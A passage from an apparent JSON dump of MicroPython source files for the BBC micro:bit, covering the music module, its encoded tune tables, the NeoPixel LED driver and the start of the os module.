mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(microbit_music_reset_obj, microbit_music_reset);\n\nSTATIC mp_obj_t microbit_music_get_tempo(void) {\n    mp_obj_t tempo_tuple[2];\n\n    tempo_tuple[0] = mp_obj_new_int(music_data->bpm);\n    tempo_tuple[1] = mp_obj_new_int(music_data->ticks);\n\n    return mp_obj_new_tuple(2, tempo_tuple);\n}\nMP_DEFINE_CONST_FUN_OBJ_0(microbit_music_get_tempo_obj, microbit_music_get_tempo);\n\nSTATIC mp_obj_t microbit_music_stop(mp_uint_t n_args, const mp_obj_t *args) {\n    const microbit_pin_obj_t *pin;\n    if (n_args == 0) {\n        pin = &microbit_p0_obj;\n    } else {\n        pin = microbit_obj_get_pin(args[0]);\n    }\n    // Raise exception if the pin we are trying to stop is not in a compatible mode.\n    microbit_obj_pin_acquire(pin, microbit_pin_mode_music);\n    pwm_set_duty_cycle(pin->name, 0);\n    microbit_obj_pin_free(pin);\n    music_data->async_pin = NULL;\n    music_data->async_state = ASYNC_MUSIC_STATE_IDLE;\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_music_stop_obj, 0, 1, microbit_music_stop);\n\nSTATIC mp_obj_t microbit_music_play(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_music, MP_ARG_REQUIRED | MP_ARG_OBJ, {.u_obj = MP_OBJ_NULL} },\n        { MP_QSTR_pin,   MP_ARG_OBJ, {.u_obj = (mp_obj_t)&microbit_p0_obj} },\n        { MP_QSTR_wait,  MP_ARG_BOOL, {.u_bool = true} },\n        { MP_QSTR_loop,  MP_ARG_BOOL, {.u_bool = false} },\n    };\n\n    // parse args\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    // reset octave and duration so tunes always play the same\n    music_data->last_octave = DEFAULT_OCTAVE;\n    music_data->last_duration = DEFAULT_DURATION;\n\n    // get either a single note or a list of notes\n    mp_uint_t len;\n    mp_obj_t *items;\n    if (MP_OBJ_IS_STR_OR_BYTES(args[0].u_obj)) {\n        len = 1;\n        items = &args[0].u_obj;\n    } else {\n        mp_obj_get_array(args[0].u_obj, &len, &items);\n    }\n\n    // Release the previous pin\n    microbit_obj_pin_free(music_data->async_pin);\n    music_data->async_pin = NULL;\n\n    // get the pin to play on\n    const microbit_pin_obj_t *pin = microbit_obj_get_pin(args[1].u_obj);\n    microbit_obj_pin_acquire(pin, microbit_pin_mode_music);\n\n    // start the tune running in the background\n    music_data->async_state = ASYNC_MUSIC_STATE_IDLE;\n    music_data->async_wait_ticks = ticker_ticks_ms;\n    music_data->async_loop = args[3].u_bool;\n    music_data->async_notes_len = len;\n    music_data->async_notes_index = 0;\n    if (len == 1) {\n        // If a string was passed as a single note then we can't store a pointer\n        // to args[0].u_obj, so instead store the single string directly (also\n        // works if a tuple/list of one element was passed).\n        music_data->async_note = items[0];\n    } else {\n        music_data->async_note = items;\n    }\n    music_data->async_pin = pin;\n    music_data->async_state = ASYNC_MUSIC_STATE_NEXT_NOTE;\n\n    if (args[2].u_bool) {\n        // wait for tune to finish\n        wait_async_music_idle();\n    }\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_music_play_obj, 0, microbit_music_play);\n\nSTATIC mp_obj_t microbit_music_pitch(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_frequency, MP_ARG_REQUIRED | MP_ARG_INT, {.u_int = 0} },\n        { MP_QSTR_duration, MP_ARG_INT, {.u_int = -1} },\n        { MP_QSTR_pin,    MP_ARG_OBJ, {.u_obj = (mp_obj_t)&microbit_p0_obj} },\n        { MP_QSTR_wait,   MP_ARG_BOOL, {.u_bool = true} },\n    };\n\n    // parse args\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    // get the parameters\n    mp_uint_t frequency = args[0].u_int;\n    mp_int_t duration = args[1].u_int;\n    const microbit_pin_obj_t *pin = microbit_obj_get_pin(args[2].u_obj);\n\n    // Update pin modes\n    microbit_obj_pin_free(music_data->async_pin);\n    music_data->async_pin = NULL;\n    microbit_obj_pin_acquire(pin, microbit_pin_mode_music);\n    bool wait = args[3].u_bool;\n    pwm_set_duty_cycle(pin->name, 128);\n    if (frequency == 0) {\n        pwm_release(pin->name);\n    } else if (pwm_set_period_us(1000000/frequency)) {\n        pwm_release(pin->name);\n        mp_raise_ValueError(\"invalid pitch\");\n    }\n    if (duration >= 0) {\n        // use async machinery to stop the pitch after the duration\n        music_data->async_state = ASYNC_MUSIC_STATE_IDLE;\n        music_data->async_wait_ticks = ticker_ticks_ms + duration;\n        music_data->async_loop = false;\n        music_data->async_notes_len = 0;\n        music_data->async_notes_index = 0;\n        music_data->async_note = NULL;\n        music_data->async_pin = pin;\n        music_data->async_state = ASYNC_MUSIC_STATE_ARTICULATE;\n\n        if (wait) {\n            // wait for the pitch to finish\n            wait_async_music_idle();\n        }\n    } else {\n        // don't block here, since there's no reason to leave a pitch forever in a blocking C function\n    }\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_music_pitch_obj, 0, microbit_music_pitch);\n\nSTATIC mp_obj_t microbit_music_set_tempo(mp_uint_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_ticks, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 0} },\n        { MP_QSTR_bpm,   MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = 0} },\n    };\n\n    mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n    mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n    if (args[0].u_int != 0) {\n        // set ticks\n        music_data->ticks = args[0].u_int;\n    }\n\n    if (args[1].u_int != 0) {\n        music_data->bpm = args[1].u_int;\n    }\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_KW(microbit_music_set_tempo_obj, 0, microbit_music_set_tempo);\n\n\nstatic mp_obj_t music_init(void) {\n    music_data = m_new_obj(music_data_t);\n    music_data->bpm = DEFAULT_BPM;\n    music_data->ticks = DEFAULT_TICKS;\n    music_data->last_octave = DEFAULT_OCTAVE;\n    music_data->last_duration = DEFAULT_DURATION;\n    music_data->async_state = ASYNC_MUSIC_STATE_IDLE;\n    music_data->async_pin = NULL;\n    music_data->async_note = NULL;\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_0(music___init___obj, music_init);\n\nSTATIC const mp_map_elem_t microbit_music_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_music) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR___init__), (mp_obj_t)&music___init___obj },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_reset), (mp_obj_t)&microbit_music_reset_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_set_tempo), (mp_obj_t)&microbit_music_set_tempo_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_get_tempo), (mp_obj_t)&microbit_music_get_tempo_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_play), (mp_obj_t)&microbit_music_play_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_pitch), (mp_obj_t)&microbit_music_pitch_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_stop), (mp_obj_t)&microbit_music_stop_obj },\n\n    { MP_OBJ_NEW_QSTR(MP_QSTR_DADADADUM), (mp_obj_t)&microbit_music_tune_dadadadum_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ENTERTAINER), (mp_obj_t)&microbit_music_tune_entertainer_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_PRELUDE), (mp_obj_t)&microbit_music_tune_prelude_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_ODE), (mp_obj_t)&microbit_music_tune_ode_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_NYAN), (mp_obj_t)&microbit_music_tune_nyan_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_RINGTONE), (mp_obj_t)&microbit_music_tune_ringtone_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_FUNK), (mp_obj_t)&microbit_music_tune_funk_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_BLUES), (mp_obj_t)&microbit_music_tune_blues_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_BIRTHDAY), (mp_obj_t)&microbit_music_tune_birthday_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_WEDDING), (mp_obj_t)&microbit_music_tune_wedding_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_FUNERAL), (mp_obj_t)&microbit_music_tune_funeral_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_PUNCHLINE), (mp_obj_t)&microbit_music_tune_punchline_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_PYTHON), (mp_obj_t)&microbit_music_tune_python_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_BADDY), (mp_obj_t)&microbit_music_tune_baddy_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_CHASE), (mp_obj_t)&microbit_music_tune_chase_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_BA_DING), (mp_obj_t)&microbit_music_tune_ba_ding_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_WAWAWAWAA), (mp_obj_t)&microbit_music_tune_wawawawaa_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_JUMP_UP), (mp_obj_t)&microbit_music_tune_jump_up_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_JUMP_DOWN), (mp_obj_t)&microbit_music_tune_jump_down_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_POWER_UP), (mp_obj_t)&microbit_music_tune_power_up_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_POWER_DOWN), (mp_obj_t)&microbit_music_tune_power_down_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(microbit_music_locals_dict, microbit_music_locals_dict_table);\n\nconst mp_obj_module_t music_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&microbit_music_locals_dict,\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/modmusictunes.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The music encoded herein is either in the public domain, composed by\n * Nicholas H.Tollervey or the composer is untraceable and covered by fair\n * (educational) use.\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n * Copyright (c) 2015 Nicholas H. Tollervey\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/objtuple.h\"\n#include \"microbit/modmicrobit.h\"\n\n#define N(q) MP_OBJ_NEW_QSTR(MP_QSTR_ ## q)\n#define T(name, ...) const mp_obj_tuple_t microbit_music_tune_ ## name ## _obj = {{&mp_type_tuple}, .len = (sizeof((mp_obj_t[]){__VA_ARGS__})/sizeof(mp_obj_t)), .items = {__VA_ARGS__}};\n\n\nT(dadadadum,\n    N(r4_colon_2), N(g), N(g), N(g), N(eb_colon_8), N(r_colon_2), N(f), N(f),\n    N(f), N(d_colon_8));\n\nT(entertainer,\n    N(d4_colon_1), N(d_hash_), N(e), N(c5_colon_2), N(e4_colon_1),\n    N(c5_colon_2), N(e4_colon_1), N(c5_colon_3), N(c_colon_1), N(d),\n    N(d_hash_), N(e), N(c), N(d), N(e_colon_2), N(b4_colon_1), N(d5_colon_2),\n    N(c_colon_4));\n\nT(prelude,\n    N(c4_colon_1), N(e), N(g), N(c5), N(e), N(g4), N(c5), N(e), N(c4), N(e),\n    N(g), N(c5), N(e), N(g4), N(c5), N(e), N(c4), N(d), N(g), N(d5), N(f),\n    N(g4), N(d5), N(f), N(c4), N(d), N(g), N(d5), N(f), N(g4), N(d5), N(f),\n    N(b3), N(d4), N(g), N(d5), N(f), N(g4), N(d5), N(f), N(b3), N(d4), N(g),\n    N(d5), N(f), N(g4), N(d5), N(f), N(c4), N(e), N(g), N(c5), N(e), N(g4),\n    N(c5), N(e), N(c4), N(e), N(g), N(c5), N(e), N(g4), N(c5), N(e));\n\nT(ode,\n    N(e4), N(e), N(f), N(g), N(g), N(f), N(e), N(d), N(c), N(c), N(d), N(e),\n    N(e_colon_6), N(d_colon_2), N(d_colon_8), N(e_colon_4), N(e), N(f), N(g),\n    N(g), N(f), N(e), N(d), N(c), N(c), N(d), N(e), N(d_colon_6),\n    N(c_colon_2), N(c_colon_8));\n\nT(nyan,\n    N(f_hash_5_colon_2), N(g_hash_), N(c_hash__colon_1), N(d_hash__colon_2),\n    N(b4_colon_1), N(d5_colon_1), N(c_hash_), N(b4_colon_2), N(b),\n    N(c_hash_5), N(d), N(d_colon_1), N(c_hash_), N(b4_colon_1),\n    N(c_hash_5_colon_1), N(d_hash_), N(f_hash_), N(g_hash_), N(d_hash_),\n    N(f_hash_), N(c_hash_), N(d), N(b4), N(c_hash_5), N(b4),\n    N(d_hash_5_colon_2), N(f_hash_), N(g_hash__colon_1), N(d_hash_),\n    N(f_hash_), N(c_hash_), N(d_hash_), N(b4), N(d5), N(d_hash_), N(d),\n    N(c_hash_), N(b4), N(c_hash_5), N(d_colon_2), N(b4_colon_1), N(c_hash_5),\n    N(d_hash_), N(f_hash_), N(c_hash_), N(d), N(c_hash_), N(b4),\n    N(c_hash_5_colon_2), N(b4), N(c_hash_5), N(b4), N(f_hash__colon_1),\n    N(g_hash_), N(b_colon_2), N(f_hash__colon_1), N(g_hash_), N(b),\n    N(c_hash_5), N(d_hash_), N(b4), N(e5), N(d_hash_), N(e), N(f_hash_),\n    N(b4_colon_2), N(b), N(f_hash__colon_1), N(g_hash_), N(b), N(f_hash_),\n    N(e5), N(d_hash_), N(c_hash_), N(b4), N(f_hash_), N(d_hash_), N(e),\n    N(f_hash_), N(b_colon_2), N(f_hash__colon_1), N(g_hash_), N(b_colon_2),\n    N(f_hash__colon_1), N(g_hash_), N(b), N(b), N(c_hash_5), N(d_hash_),\n    N(b4), N(f_hash_), N(g_hash_), N(f_hash_), N(b_colon_2), N(b_colon_1),\n    N(a_hash_), N(b), N(f_hash_), N(g_hash_), N(b), N(e5), N(d_hash_), N(e),\n    N(f_hash_), N(b4_colon_2), N(c_hash_5));\n\nT(ringtone,\n    N(c4_colon_1), N(d), N(e_colon_2), N(g), N(d_colon_1), N(e), N(f_colon_2),\n    N(a), N(e_colon_1), N(f), N(g_colon_2), N(b), N(c5_colon_4));\n\nT(funk,\n    N(c2_colon_2), N(c), N(d_hash_), N(c_colon_1), N(f_colon_2), N(c_colon_1),\n    N(f_colon_2), N(f_hash_), N(g), N(c), N(c), N(g), N(c_colon_1),\n    N(f_hash__colon_2), N(c_colon_1), N(f_hash__colon_2), N(f), N(d_hash_));\n\nT(blues,\n    N(c2_colon_2), N(e), N(g), N(a), N(a_hash_), N(a), N(g), N(e),\n    N(c2_colon_2), N(e), N(g), N(a), N(a_hash_), N(a), N(g), N(e), N(f), N(a),\n    N(c3), N(d), N(d_hash_), N(d), N(c), N(a2), N(c2_colon_2), N(e), N(g),\n    N(a), N(a_hash_), N(a), N(g), N(e), N(g), N(b), N(d3), N(f), N(f2), N(a),\n    N(c3), N(d_hash_), N(c2_colon_2), N(e), N(g), N(e), N(g), N(f), N(e),\n    N(d));\n\nT(birthday,\n    N(c4_colon_3), N(c_colon_1), N(d_colon_4), N(c_colon_4), N(f),\n    N(e_colon_8), N(c_colon_3), N(c_colon_1), N(d_colon_4), N(c_colon_4),\n    N(g), N(f_colon_8), N(c_colon_3), N(c_colon_1), N(c5_colon_4), N(a4),\n    N(f), N(e), N(d), N(a_hash__colon_3), N(a_hash__colon_1), N(a_colon_4),\n    N(f), N(g), N(f_colon_8));\n\nT(wedding,\n    N(c4_colon_4), N(f_colon_3), N(f_colon_1), N(f_colon_8), N(c_colon_4),\n    N(g_colon_3), N(e_colon_1), N(f_colon_8), N(c_colon_4), N(f_colon_3),\n    N(a_colon_1), N(c5_colon_4), N(a4_colon_3), N(f_colon_1), N(f_colon_4),\n    N(e_colon_3), N(f_colon_1), N(g_colon_8));\n\nT(funeral,\n    N(c3_colon_4), N(c_colon_3), N(c_colon_1), N(c_colon_4),\n    N(d_hash__colon_3), N(d_colon_1), N(d_colon_3), N(c_colon_1),\n    N(c_colon_3), N(b2_colon_1), N(c3_colon_4));\n\nT(punchline,\n    N(c4_colon_3), N(g3_colon_1), N(f_hash_), N(g), N(g_hash__colon_3), N(g),\n    N(r), N(b), N(c4));\n\nT(python,\n    N(d5_colon_1), N(b4), N(r), N(b), N(b), N(a_hash_), N(b), N(g5), N(r),\n    N(d), N(d), N(r), N(b4), N(c5), N(r), N(c), N(c), N(r), N(d),\n    N(e_colon_5), N(c_colon_1), N(a4), N(r), N(a), N(a), N(g_hash_), N(a),\n    N(f_hash_5), N(r), N(e), N(e), N(r), N(c), N(b4), N(r), N(b), N(b), N(r),\n    N(c5), N(d_colon_5), N(d_colon_1), N(b4), N(r), N(b), N(b), N(a_hash_),\n    N(b), N(b5), N(r), N(g), N(g), N(r), N(d), N(c_hash_), N(r), N(a), N(a),\n    N(r), N(a), N(a_colon_5), N(g_colon_1), N(f_hash__colon_2), N(a_colon_1),\n    N(a), N(g_hash_), N(a), N(e_colon_2), N(a_colon_1), N(a), N(g_hash_),\n    N(a), N(d), N(r), N(c_hash_), N(d), N(r), N(c_hash_), N(d_colon_2),\n    N(r_colon_3));\n\nT(baddy,\n    N(c3_colon_3), N(r), N(d_colon_2), N(d_hash_), N(r), N(c), N(r), N(f_hash__colon_8), );\n\nT(chase,\n    N(a4_colon_1), N(b), N(c5), N(b4), N(a_colon_2), N(r), N(a_colon_1), N(b), N(c5), N(b4), N(a_colon_2), N(r), N(a_colon_2), N(e5), N(d_hash_), N(e), N(f), N(e), N(d_hash_), N(e), N(b4_colon_1), N(c5), N(d), N(c), N(b4_colon_2), N(r), N(b_colon_1), N(c5), N(d), N(c), N(b4_colon_2), N(r), N(b_colon_2), N(e5), N(d_hash_), N(e), N(f), N(e), N(d_hash_), N(e), );\n\nT(ba_ding,\n    N(b5_colon_1), N(e6_colon_3), );\n\nT(wawawawaa,\n    N(e3_colon_3), N(r_colon_1), N(d_hash__colon_3), N(r_colon_1), N(d_colon_4), N(r_colon_1), N(c_hash__colon_8), );\n\nT(jump_up,\n    N(c5_colon_1), N(d), N(e), N(f), N(g), );\n\nT(jump_down,\n    N(g5_colon_1), N(f), N(e), N(d), N(c), );\n\nT(power_up,\n    N(g4_colon_1), N(c5), N(e), N(g_colon_2), N(e_colon_1), N(g_colon_3), );\n\nT(power_down,\n    N(g5_colon_1), N(d_hash_), N(c), N(g4_colon_2), N(b_colon_1), N(c5_colon_3), );\n\n#undef N\n#undef T\n"
  },
  {
    "path": "micropython/source/microbit/modneopixel.cpp",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\nextern \"C\" {\n\n#include <stdio.h>\n#include <string.h>\n#include \"gpio_api.h\"\n#include \"nrf_gpio.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"microbit/modmicrobit.h\"\n\n// This is the pixel colour ordering\n#define COL_NUM_COMPONENTS (3)\n#define COL_IDX_RED (1)\n#define COL_IDX_GREEN (0)\n#define COL_IDX_BLUE (2)\n\n// This is implemented in assembler to get the right timing\nextern void sendNeopixelBuffer(uint32_t pin, uint8_t* data_address, uint16_t num_leds);\n\nextern const mp_obj_type_t neopixel_type;\n\ntypedef struct _neopixel_obj_t {\n    mp_obj_base_t base;\n    uint16_t pin_num;\n    uint16_t num_pixels;\n    uint8_t data[];\n} neopixel_obj_t;\n\nSTATIC mp_obj_t neopixel_show_(mp_obj_t self_in);\n\nstatic inline void neopixel_clear_data(neopixel_obj_t *self) {\n    memset(&self->data[0], 0, COL_NUM_COMPONENTS * self->num_pixels);\n}\n\nSTATIC mp_obj_t neopixel_make_new(const mp_obj_type_t *type_in, mp_uint_t n_args, mp_uint_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    mp_arg_check_num(n_args, n_kw, 2, 2, false);\n\n    PinName pin = (PinName)microbit_obj_get_pin_name(args[0]);\n    mp_int_t num_pixels = mp_obj_get_int(args[1]);\n\n    if (num_pixels <= 0) {\n        mp_raise_ValueError(\"invalid number of pixels\");\n    }\n\n    neopixel_obj_t *self = m_new_obj_var(neopixel_obj_t, uint8_t, COL_NUM_COMPONENTS * num_pixels);\n    self->base.type = &neopixel_type;\n    self->pin_num = pin;\n    self->num_pixels = num_pixels;\n    neopixel_clear_data(self);\n\n    // Configure pin as output and set it low\n    nrf_gpio_cfg_output(pin);\n    NRF_GPIO->OUTCLR = (1UL << pin);\n\n    return self;\n}\n\nSTATIC mp_obj_t neopixel_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    neopixel_obj_t *self = (neopixel_obj_t*)self_in;\n    switch (op) {\n        case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->num_pixels);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t neopixel_subscr(mp_obj_t self_in, mp_obj_t index_in, mp_obj_t value) {\n    neopixel_obj_t *self = (neopixel_obj_t*)self_in;\n    mp_uint_t index = mp_get_index(self->base.type, self->num_pixels, index_in, false);\n    index *= COL_NUM_COMPONENTS;\n    if (value == MP_OBJ_NULL) {\n        // delete item\n        return MP_OBJ_NULL; // op not supported\n    } else if (value == MP_OBJ_SENTINEL) {\n        // load\n        mp_obj_t rgb[COL_NUM_COMPONENTS] = {\n            MP_OBJ_NEW_SMALL_INT(self->data[index + COL_IDX_RED]),\n            MP_OBJ_NEW_SMALL_INT(self->data[index + COL_IDX_GREEN]),\n            MP_OBJ_NEW_SMALL_INT(self->data[index + COL_IDX_BLUE]),\n        };\n        return mp_obj_new_tuple(COL_NUM_COMPONENTS, rgb);\n    } else {\n        // store\n        mp_obj_t *rgb;\n        mp_obj_get_array_fixed_n(value, COL_NUM_COMPONENTS, &rgb);\n        mp_int_t r = mp_obj_get_int(rgb[0]);\n        mp_int_t g = mp_obj_get_int(rgb[1]);\n        mp_int_t b = mp_obj_get_int(rgb[2]);\n        if (r < 0 || r > 255 || g < 0 || g > 255 || b < 0 || b > 255) {\n            mp_raise_ValueError(\"invalid colour\");\n        }\n        self->data[index + COL_IDX_RED] = r;\n        self->data[index + COL_IDX_GREEN] = g;\n        self->data[index + COL_IDX_BLUE] = b;\n        return mp_const_none;\n    }\n}\n\nSTATIC mp_obj_t neopixel_clear_(mp_obj_t self_in) {\n    neopixel_obj_t *self = (neopixel_obj_t*)self_in;\n    neopixel_clear_data(self);\n    neopixel_show_(self_in);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(neopixel_clear_obj, neopixel_clear_);\n\nSTATIC mp_obj_t neopixel_show_(mp_obj_t self_in) {\n    neopixel_obj_t *self = (neopixel_obj_t*)self_in;\n\n    // Call external assember to do the time critical pin waggling.\n    // Be aware that this runs with interrupts off.\n    uint32_t pin_mask = (1UL << self->pin_num);\n    NRF_GPIO->OUTCLR = pin_mask;\n    sendNeopixelBuffer(pin_mask, &self->data[0], self->num_pixels);\n\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(neopixel_show_obj, neopixel_show_);\n\nSTATIC const mp_map_elem_t neopixel_locals_dict_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR_clear), (mp_obj_t)&neopixel_clear_obj },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_show), (mp_obj_t)&neopixel_show_obj },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(neopixel_locals_dict, neopixel_locals_dict_table);\n\nconst mp_obj_type_t neopixel_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_NeoPixel,\n    .print = NULL,\n    .make_new = neopixel_make_new,\n    .call = NULL,\n    .unary_op = neopixel_unary_op,\n    .binary_op = NULL,\n    .attr = NULL,\n    .subscr = neopixel_subscr,\n    .getiter = NULL,\n    .iternext = NULL,\n    .buffer_p = {NULL},\n    .protocol = NULL,\n    .parent = NULL,\n    .locals_dict = (mp_obj_dict_t*)&neopixel_locals_dict,\n};\n\nSTATIC const mp_map_elem_t neopixel_module_globals_table[] = {\n    { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_neopixel) },\n    { MP_OBJ_NEW_QSTR(MP_QSTR_NeoPixel), (mp_obj_t)&neopixel_type },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(neopixel_module_globals, neopixel_module_globals_table);\n\nconst mp_obj_module_t neopixel_module = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&neopixel_module_globals,\n};\n\n}\n"
  },
  {
    "path": "micropython/source/microbit/modos.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2016 Mark Shannon\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/obj.h\"\n#include \"microbit/filesystem.h\"\n#include \"py/objtuple.h\"\n#include \"py/objstr.h\"\n#include \"genhdr/mpversion.h\"\n#include \"genhdr/microbitversion.h\"\n\n#define MICROBIT_VERSION \\\n    \"micro:bit v\" MICROBIT_RELEASE \"+\" MICROBIT_GIT_HASH \" on \" MICROBIT_BUILD_DATE \\\n    \"; MicroPython \" MICROPY_GIT_TAG \" on \" MICROPY_BUILD_DATE\n\nconst char microbit_release_string[] = MICROBIT_RELEASE;\nconst char microbit_version_string[] = MICROBIT_VERSION;\n\nSTATIC const qstr os_uname_info_fields[] = {\n    MP_QSTR_sysname, MP_QSTR_nodename,\n    MP_QSTR_release, MP_QSTR_version, MP_QSTR_machine\n};\nSTATIC const MP_DEFINE_STR_OBJ(os_uname_info_sysname_obj, MICROPY_PY_SYS_PLATFORM);\nSTATIC const MP_DEFINE_STR_OBJ(os_uname_info_nodename_obj, MICROPY_PY_SYS_PLATFORM);\nSTATIC const 